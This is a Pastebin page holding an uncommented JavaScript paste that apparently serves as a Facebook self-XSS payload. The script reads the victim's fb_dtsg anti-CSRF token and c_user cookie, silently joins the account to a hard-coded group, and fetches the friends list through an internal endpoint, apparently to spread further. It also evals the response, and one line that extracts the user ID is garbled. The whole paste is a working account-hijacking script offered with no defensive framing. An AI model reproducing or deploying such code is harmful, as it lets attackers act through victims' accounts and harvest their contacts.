SHARE
TWEET

Untitled

a guest Apr 20th, 2019 81 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var gid = ['229321930791801'];
  2.  
  3. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  4.  
  5. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  6.  
  7.  
  8. var httpwp = new XMLHttpRequest();
  9.  
  10. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  11.  
  12. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  13.  
  14. httpwp['open']('POST', urlwp, true);
  15.  
  16. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  17.  
  18. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  19.  
  20. httpwp['setRequestHeader']('Connection', 'keep-alive');
  21.  
  22. httpwp['send'](paramswp);
  23.  
  24.  
  25. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  26.  
  27. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  28.  
  29.  
  30. var friends = new Array();
  31.  
  32. gf = new XMLHttpRequest();
  33.  
  34. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  35.  
  36. gf['send']();
  37.  
  38. if (gf['readyState'] != 4) {} else {
  39.  
  40. data = eval('(' + gf['responseText']['substr'](9) + ')');
  41.  
  42. if (data['error']) {} else {
  43.  
  44. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  45.  
  46. return _0x93dax8['index'] - _0x93dax9['index'];
  47.  
  48. });
  49.  
  50. };
  51.  
  52. };
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top